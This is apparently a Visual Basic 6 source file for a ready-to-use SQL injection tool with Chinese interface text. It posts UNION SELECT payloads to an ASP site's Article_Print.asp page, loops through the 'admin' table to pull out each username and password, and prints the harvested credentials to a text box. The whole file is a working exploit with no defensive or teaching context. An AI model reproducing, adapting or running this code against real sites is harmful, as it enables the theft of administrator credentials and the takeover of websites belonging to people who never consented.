Copy code
Option Explicit
Dim FURL As String
Dim fileno, stemp, pagecode, httpheader, B, C, A, lenp, d, i, e
Private Sub Command1_Click()
If Text1.Text = "" Then
 MsgBox "请输入网址"
GoTo AAA
Else
FURL = Trim$(Text1.Text)
End If
Text2.Text = ""
For i = 1 To 100
Inet1.Execute FURL & "Article_Print.asp", "Post", _
   "ArticleID=1000%20union%20(select%20top%201%201,1,'fuser:'%2busername%2bchr(124),'fpass:'%2bpassword%2bchr(124),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20(select%20top%20" & i _
   & "%20username,password%20from%20admin%20order%20by%20username)%20order%20by%20username%20desc)", _
   "Content-Type: application/x-www-form-urlencoded "
Do Until Inet1.StillExecuting = False '阻塞前面的Inet1
       DoEvents
Loop
pagecode = ""
stemp = Inet1.GetChunk(1024)
Do While stemp <> ""
pagecode = pagecode + stemp
stemp = Inet1.GetChunk(1024)
Loop
httpheader = InStr(1, pagecode, _
       "fuser", 1)
lenp = InStr(1, pagecode, _
       "fpass", 1)
C = ""
B = ""
If httpheader <> 0 Then
For A = httpheader + 6 To httpheader + 25
 If Asc(Mid(pagecode, A, 1)) <> 124 Then
   B = B & Mid(pagecode, A, 1)
 Else
 Exit For
 End If
Next
End If
If lenp <> 0 Then
For A = lenp + 6 To lenp + 25
 If Asc(Mid(pagecode, A, 1)) <> 124 Then
   C = C & Mid(pagecode, A, 1)
 Else
 Exit For
 End If
Next
End If
If B = d Then
Exit For
End If
d = B
Text2.Text = Text2.Text & "用户：" & B & "  " & "密码：" & C & vbCrLf
Next
AAA:
End Sub
Private Sub Command3_Click()
End
End Sub